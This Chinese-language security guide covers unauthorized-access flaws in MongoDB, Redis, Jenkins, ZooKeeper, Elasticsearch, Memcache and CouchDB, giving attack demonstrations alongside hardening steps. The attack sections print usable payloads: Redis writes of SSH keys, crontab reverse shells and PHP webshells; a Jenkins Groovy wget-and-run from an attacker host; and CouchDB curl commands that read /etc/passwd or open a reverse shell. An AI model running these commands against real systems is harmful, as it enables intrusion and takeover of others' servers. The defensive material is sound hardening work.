Web安全|未授权漏洞访问
字数 1341 2025-08-18 11:38:08
未授权访问漏洞全面解析与防御指南
1. MongoDB未授权访问漏洞
漏洞简介
MongoDB默认安装后未启用认证(--auth参数),导致任何人都可以无需认证直接访问数据库服务器。默认情况下admin数据库为空,即使启用了--auth参数,在未添加用户前仍可进行任何操作。
攻击演示
- 使用可视化工具(如Robo 3T)直接连接MongoDB服务器
- 无需任何认证即可查看、修改、删除所有数据库
防御方法
-
启用认证:
mongod --auth # 启动时添加认证参数 -
添加管理员用户:
use admin db.createUser({user: "root", pwd: "复杂密码", roles: ["root"]}) db.auth("root", "复杂密码") // 返回1表示成功 -
禁用HTTP/REST接口:
mongod --nohttpinterface # 或配置文件中设置nohttpinterface=true -
限制绑定IP:
mongod --bind_ip 127.0.0.1 # 或配置文件中设置bind_ip=127.0.0.1
2. Redis未授权访问漏洞
漏洞简介
Redis默认绑定在0.0.0.0:6379且无认证,攻击者可:
- 读取敏感数据
- 执行flushall清空数据
- 以root身份写入SSH公钥获取服务器权限
- 写入crontab计划任务反弹shell
- 写入Webshell
攻击方法
方法一:写入SSH公钥
-
生成SSH密钥对:
ssh-keygen -t rsa -
将公钥写入目标服务器:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key.txt cat /tmp/key.txt | redis-cli -h 目标IP -x set crackit redis-cli -h 目标IP config set dir /root/.ssh config set dbfilename "authorized_keys" save
方法二:写入crontab反弹shell
redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
方法三:写入Webshell
redis-cli -h 目标IP
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
config set dbfilename shell.php
save
防御方法
-
禁用高危命令:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" -
以低权限运行:
groupadd -r redis && useradd -r -g redis redis -
启用认证:
requirepass 复杂密码 -
限制网络访问:
bind 127.0.0.1 protected-mode yes -
修改默认端口:
port 6379 → 修改为其他端口 -
设置防火墙规则:
iptables -A INPUT -p tcp -s 允许IP --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP
3. Jenkins未授权访问漏洞
漏洞简介
Jenkins默认安装可能未设置认证或使用弱密码,攻击者可:
- 直接访问管理界面
- 执行Groovy脚本获取系统权限
- 写入反弹shell脚本
攻击演示
-
访问
http://目标IP:8080尝试默认凭证(admin/admin) -
在脚本控制台执行:
println "wget http://攻击机IP/back.py -P /tmp/".execute().text println "python /tmp/back.py 攻击机IP 4444".execute().text -
文件读写操作:
// 读文件 new File("/etc/passwd").getText() // 写文件 new File("/tmp/shell.php").write('<?php system($_GET["cmd"]);?>')
防御方法
- 禁止公网直接暴露
- 启用强认证:
- 设置复杂密码
- 启用账户锁定策略
- 限制脚本执行权限
4. ZooKeeper未授权访问
漏洞简介
默认开放2181端口且无认证,攻击者可:
- 收集服务器敏感信息
- 执行管理员命令(如kill)
- 破坏集群
攻击演示
echo envi | nc 目标IP 2181 # 获取环境信息
防御方法
- 禁止公网暴露
- 添加访问控制:
- 认证用户
- 用户名/密码认证
- 绑定指定IP
5. Elasticsearch未授权访问
漏洞简介
默认开放9200端口,可导致:
- 敏感数据泄露
- 远程代码执行
攻击演示
-
信息收集:
http://目标IP:9200/_cat/indices/ http://目标IP:9200/_nodes http://目标IP:9200/_search?pretty -
Python检测脚本:
import requests def check(ip, port=9200): url = f"http://{ip}:{port}/_cat" try: r = requests.get(url, timeout=5) if "/_cat/master" in r.text: print(f"[+] Elasticsearch未授权访问: {ip}:{port}") except: pass
防御方法
-
限制IP访问:
network.host: 127.0.0.1 -
启用认证:
http.basic.enabled: true http.basic.user: "admin" http.basic.password: "复杂密码" http.basic.ipwhitelist: ["127.0.0.1"]
6. Memcache未授权访问
漏洞简介
无权限控制模块,可导致:
- 敏感数据泄露
- 数据被恶意修改
- 二次安全漏洞(XSS、SQL注入等)
攻击演示
telnet 目标IP 11211 # 或 nc -vv 目标IP 11211
stats # 查看统计信息
防御方法
-
限制绑定IP:
memcached -d -m 1024 -u nobody -l 127.0.0.1 -p 11211 -
防火墙规则:
iptables -A INPUT -p tcp -s 允许IP --dport 11211 -j ACCEPT iptables -A INPUT -p tcp --dport 11211 -j DROP -
配置文件修改:
OPTIONS="-l 127.0.0.1"
7. CouchDB未授权访问
漏洞简介
默认无认证,可导致:
- 任意文件读取
- 命令执行
- 服务器沦陷
攻击演示
文件读取
curl -X PUT 'http://目标IP:5984/_config/query_servers/cmd' -d '"/bin/cat /etc/passwd >/var/www/html/passwd"'
curl -X PUT 'http://目标IP:5984/vultest/'
curl -X PUT 'http://目标IP:5984/vultest/vul' -d '{"_id":"test"}'
curl -X POST 'http://目标IP:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
反弹shell
curl -X PUT 'http://目标IP:5984/_config/query_servers/shell' -d '"/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'
# 同上创建数据库和视图触发
防御方法
-
限制绑定IP:
bind_address = 127.0.0.1 -
设置密码:
[admins] admin = 复杂密码 -
强制认证:
配置WWW-Authenticate头
通用防御建议
-
最小化网络暴露:
- 仅绑定必要IP(127.0.0.1或内网IP)
- 使用防火墙限制访问来源
-
启用认证机制:
- 为所有服务设置强密码
- 定期轮换密码
-
权限最小化:
- 使用非root用户运行服务
- 限制服务账户权限
-
日志监控:
- 记录所有管理操作
- 设置异常访问告警
-
定期更新:
- 保持服务版本最新
- 应用安全补丁
通过实施这些措施,可有效防范未授权访问漏洞带来的安全风险。